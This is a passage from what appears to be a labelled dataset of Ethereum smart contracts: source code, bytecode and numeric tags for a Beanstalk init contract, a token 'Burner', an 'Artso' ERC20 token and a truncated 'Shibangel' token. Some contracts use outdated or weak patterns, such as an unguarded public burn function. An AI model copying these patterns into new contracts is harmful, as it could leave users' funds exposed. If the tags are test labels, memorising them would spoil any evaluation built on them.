00000000000082169050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561416f578082015181840152602081019050614154565b8381111561417e576000848401525b50505050565b600061418f82614138565b915060008214156141a3576141a261428b565b5b600182039050919050565b600060028204905060018216806141c657607f821691505b602082108114156141da576141d96142e9565b5b50919050565b6141e982614394565b810181811067ffffffffffffffff8211171561420857614207614347565b5b80604052505050565b600061421c82614138565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561424f5761424e61428b565b5b600182019050919050565b600061426582614138565b915061427083614138565b9250826142805761427f6142ba565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f43616e74206d696e74206d6f7265207468616e206d696e74206c696d69740000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f4d757374206d696e74206174206c65617374203120746f6b656e000000000000600082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f596f752063616e2064726f70206d696e696d756d20312c206d6178696d756d2060008201527f313030204e465473000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f45786365656473206d617820737570706c790000000000000000000000000000600082015250565b7f45746865722076616c75652073656e742069732062656c6f772074686520707260008201527f6963650000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f4d697373696e6720726563697069656e74206164647265737365730000000000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f7220300000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a20746f6b656e20616c7265616479206d696e746564000000600082015250565b7f457863656564206d6178206672656520737570706c7900000000000000000000600082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e742064697361626c656400000000000000000000000000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b614ad6816140b2565b8114614ae157600080fd5b50565b614aed816140c4565b8114614af857600080fd5b50565b614b04816140d0565b8114614b0f57600080fd5b50565b614b1b81614138565b8114614b2657600080fd5b5056fe68747470733a2f2f6d7739737069646862632e657865637574652d6170692e75732d656173742d312e616d617a6f6e6177732e636f6d2f6465762f746f6b656e2f646f67652d6d666572732f68747470733a2f2f6d7739737069646862632e657865637574652d6170692e75732d656173742d312e616d617a6f6e6177732e636f6d2f6465762f636f6e74726163742f646f67652d6d66657273a2646970667358221220496f6fbd53f20c3f6942e63b9bbb8cd28d0605a840612f9c1e1f413e9def056364736f6c63430008070033
[ 9, 5 ]
0xf3926c269804bD7223bd253a3c3783F8F2396EF8
/* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import {IBean} from "../../interfaces/IBean.sol"; import {AppStorage} from "../AppStorage.sol"; /** * @author Publius * @title InitBip8 runs the code for BIP-8. **/ contract InitBip9 { AppStorage internal s; address private constant PUBLIUS_ADDRESS = address(0x925753106FCdB6D2f30C3db295328a0A1c5fD1D1); address private constant BEAN_ADDRESS = address(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); uint256 private constant PAYMENT = 6000000000; address private constant BROKEN_ADDRESS = address(0x0b8e605A7446801ae645e57de5AAbbc251cD1e3c); function init() external { s.season.withdrawSeasons = 25; s.a[BROKEN_ADDRESS].lastRain = 0; IBean(BEAN_ADDRESS).mint(PUBLIUS_ADDRESS, PAYMENT); } } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @author Publius * @title Bean Interface **/ abstract contract IBean is IERC20 { function burn(uint256 amount) public virtual; function burnFrom(address account, uint256 amount) public virtual; function mint(address account, uint256 amount) public virtual returns (bool); } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "../interfaces/IDiamondCut.sol"; /** * @author Publius * @title App Storage defines the state object for Beanstalk. **/ contract Account { struct Field { mapping(uint256 => uint256) plots; mapping(address => uint256) podAllowances; } struct AssetSilo { mapping(uint32 => uint256) withdrawals; mapping(uint32 => uint256) deposits; mapping(uint32 => uint256) depositSeeds; } struct Silo { uint256 stalk; uint256 seeds; } struct SeasonOfPlenty { uint256 base; uint256 roots; uint256 basePerRoot; } struct State { Field field; AssetSilo bean; AssetSilo lp; Silo s; uint32 votedUntil; uint32 lastUpdate; uint32 lastSop; uint32 lastRain; uint32 lastSIs; uint32 proposedUntil; SeasonOfPlenty sop; uint256 roots; uint256 wrappedBeans; } } contract Storage { struct Contracts { address bean; address pair; address pegPair; address weth; } // Field struct Field { uint256 soil; uint256 pods; uint256 harvested; uint256 harvestable; } // Governance struct Bip { address proposer; uint32 start; uint32 period; bool executed; int pauseOrUnpause; uint128 timestamp; uint256 roots; uint256 endTotalRoots; } struct DiamondCut { IDiamondCut.FacetCut[] diamondCut; address initAddress; bytes initData; } struct Governance { uint32[] activeBips; uint32 bipIndex; mapping(uint32 => DiamondCut) diamondCuts; mapping(uint32 => mapping(address => bool)) voted; mapping(uint32 => Bip) bips; } // Silo struct AssetSilo { uint256 deposited; uint256 withdrawn; } struct IncreaseSilo { uint256 beans; uint256 stalk; } struct V1IncreaseSilo { uint256 beans; uint256 stalk; uint256 roots; } struct SeasonOfPlenty { uint256 weth; uint256 base; uint32 last; } struct Silo { uint256 stalk; uint256 seeds; uint256 roots; } // Season struct Oracle { bool initialized; uint256 cumulative; uint256 pegCumulative; uint32 timestamp; uint32 pegTimestamp; } struct Rain { uint32 start; bool raining; uint256 pods; uint256 roots; } struct Season { uint32 current; uint32 sis; uint8 withdrawSeasons; uint256 start; uint256 period; uint256 timestamp; } struct Weather { uint256 startSoil; uint256 lastDSoil; uint96 lastSoilPercent; uint32 lastSowTime; uint32 nextSowTime; uint32 yield; bool didSowBelowMin; bool didSowFaster; } struct Fundraiser { address payee; address token; uint256 total; uint256 remaining; } } struct AppStorage { uint8 index; int8[32] cases; bool paused; uint128 pausedAt; Storage.Season season; Storage.Contracts c; Storage.Field f; Storage.Governance g; Storage.Oracle o; Storage.Rain r; Storage.Silo s; uint256 depreciated1; Storage.Weather w; Storage.AssetSilo bean; Storage.AssetSilo lp; Storage.IncreaseSilo si; Storage.SeasonOfPlenty sop; Storage.V1IncreaseSilo v1SI; uint256 unclaimedRoots; uint256 v2SIBeans; mapping (uint32 => uint256) sops; mapping (address => Account.State) a; uint32 bip0Start; uint32 hotFix3Start; mapping (uint32 => Storage.Fundraiser) fundraisers; uint32 fundraiserIndex; mapping (address => bool) isBudget; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma experimental ABIEncoderV2; pragma solidity ^0.7.6; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) /******************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063e1c7392a14610030575b600080fd5b61003861003a565b005b6003805468ff0000000000000000191668190000000000000000179055730b8e605a7446801ae645e57de5aabbc251cd1e3c60005260316020527fa75ef2ed0e3899cf40ee21adec8b3ca3d9cbb99cb69338d8e17ae843f86f646080547fffffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffff1690556040517f40c10f1900000000000000000000000000000000000000000000000000000000815273dc59ac4fefa32293a95889dc396682858d52e5db906340c10f19906101269073925753106fcdb6d2f30c3db295328a0a1c5fd1d190640165a0bc00906004016101a2565b602060405180830381600087803b15801561014057600080fd5b505af1158015610154573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610178919061017b565b50565b60006020828403121561018c578081fd5b8151801515811461019b578182fd5b9392505050565b73ffffffffffffffffffffffffffffffffffffffff92909216825260208201526040019056fea264697066735822122085cd753feb55058d59277a71b3af842c715d1ba943b978d44a384431a9bdfc8764736f6c63430007060033
[ 5 ]
0xf39271cb27ddc6985ff38238918ff66ec5653b2a
//SPDX-License-Identifier: UNLICENSED pragma solidity >=0.8.0; contract Owned { address public owner; constructor() { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } /* This function is used to transfer adminship to new owner * @param _newOwner - address of new admin or owner */ function transferOwnership(address _newOwner) onlyOwner public { assert(_newOwner != address(0)); owner = _newOwner; } } interface ERC20 { function transferOwnership(address _newOwner) external; function transferFrom( address _from, address _to, uint256 _amount ) external returns (bool success); function allowance(address owner, address spender) external view returns (uint256); function burn(uint256 _value) external; function transfer(address recipient, uint256 amount) external returns (bool); } contract Burner is Owned { ERC20 oldToken; function returnTokenOwnership(address _newOwner) public onlyOwner { oldToken.transferOwnership(_newOwner); } constructor(address _oldToken) { oldToken = ERC20(_oldToken); } function burn(uint256 _val) public{ oldToken.burn(_val); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806342966c68146100515780635e43b1081461006d5780638da5cb5b14610089578063f2fde38b146100a7575b600080fd5b61006b60048036038101906100669190610397565b6100c3565b005b6100876004803603810190610082919061036a565b610153565b005b61009161023f565b60405161009e91906103e2565b60405180910390f35b6100c160048036038101906100bc919061036a565b610263565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff1660e01b815260040161011e91906103fd565b600060405180830381600087803b15801561013857600080fd5b505af115801561014c573d6000803e3d6000fd5b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101af576101ae610454565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff1660e01b815260040161020a91906103e2565b600060405180830381600087803b15801561022457600080fd5b505af1158015610238573d6000803e3d6000fd5b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102bf576102be610454565b5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102fd576102fc610454565b5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008135905061034f81610488565b92915050565b6000813590506103648161049f565b92915050565b6000602082840312156103805761037f610483565b5b600061038e84828501610340565b91505092915050565b6000602082840312156103ad576103ac610483565b5b60006103bb84828501610355565b91505092915050565b6103cd81610418565b82525050565b6103dc8161044a565b82525050565b60006020820190506103f760008301846103c4565b92915050565b600060208201905061041260008301846103d3565b92915050565b60006104238261042a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600080fd5b61049181610418565b811461049c57600080fd5b50565b6104a88161044a565b81146104b357600080fd5b5056fea264697066735822122097649db77b7723c95433fc398e0bc02449e4296f97bf279753a932b488807c8d64736f6c63430008060033
[ 38 ]
0xf392835e6EB8C5B9B5654132C648b5cEb44ebef6
pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract CustomToken is BaseToken { function CustomToken() public { totalSupply = 32000000000000000000000000; name = 'Artso'; symbol = 'ASO'; decimals = 18; balanceOf[0x58cbc34576efc4f2591fbc6258f89961e7e34d48] = totalSupply; Transfer(address(0), 0x58cbc34576efc4f2591fbc6258f89961e7e34d48, totalSupply); } }
0x6060604052600436106100985763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461009d578063095ea7b31461012757806318160ddd1461015d57806323b872dd14610182578063313ce567146101aa57806370a08231146101d357806395d89b41146101f2578063a9059cbb14610205578063dd62ed3e14610227575b600080fd5b34156100a857600080fd5b6100b061024c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100ec5780820151838201526020016100d4565b50505050905090810190601f1680156101195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561013257600080fd5b610149600160a060020a03600435166024356102ea565b604051901515815260200160405180910390f35b341561016857600080fd5b610170610356565b60405190815260200160405180910390f35b341561018d57600080fd5b610149600160a060020a036004358116906024351660443561035c565b34156101b557600080fd5b6101bd6103d3565b60405160ff909116815260200160405180910390f35b34156101de57600080fd5b610170600160a060020a03600435166103dc565b34156101fd57600080fd5b6100b06103ee565b341561021057600080fd5b610149600160a060020a0360043516602435610459565b341561023257600080fd5b610170600160a060020a036004358116906024351661046f565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102e25780601f106102b7576101008083540402835291602001916102e2565b820191906000526020600020905b8154815290600101906020018083116102c557829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b600160a060020a0380841660009081526005602090815260408083203390941683529290529081205482111561039157600080fd5b600160a060020a03808516600090815260056020908152604080832033909416835292905220805483900390556103c984848461048c565b5060019392505050565b60025460ff1681565b60046020526000908152604090205481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102e25780601f106102b7576101008083540402835291602001916102e2565b600061046633848461048c565b50600192915050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156104a357600080fd5b600160a060020a038416600090815260046020526040902054829010156104c957600080fd5b600160a060020a038316600090815260046020526040902054828101116104ef57600080fd5b50600160a060020a03828116600090815260046020526040808220805493871683529120805484810382558254850192839055905492019101811461053057fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3505050505600a165627a7a7230582065ec034c532e01e45da21142d1b1208e4b41b11d33b8fce3208f4b2f768177110029
[ 38 ]
0xf392d9b913f0de203841f5736458d90074082b8b
/* _______ _________ ______ _______ _ _______ _______ _ ( ____ \|\ /|\__ __/( ___ \ ( ___ )( ( /|( ____ \( ____ \( \ | ( \/| ) ( | ) ( | ( ) )| ( ) || \ ( || ( \/| ( \/| ( | (_____ | (___) | | | | (__/ / | (___) || \ | || | | (__ | | (_____ )| ___ | | | | __ ( | ___ || (\ \) || | ____ | __) | | ) || ( ) | | | | ( \ \ | ( ) || | \ || | \_ )| ( | | /\____) || ) ( |___) (___| )___) )| ) ( || ) \ || (___) || (____/\| (____/\ \_______)|/ \|\_______/|/ \___/ |/ \||/ )_)(_______)(_______/(_______/ 💬 Telegram: https://t.me/ShibangelETH 🌐 Website: https://shibangeleth.com 🐦 Twitter: https://twitter.com/ShibangelETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c 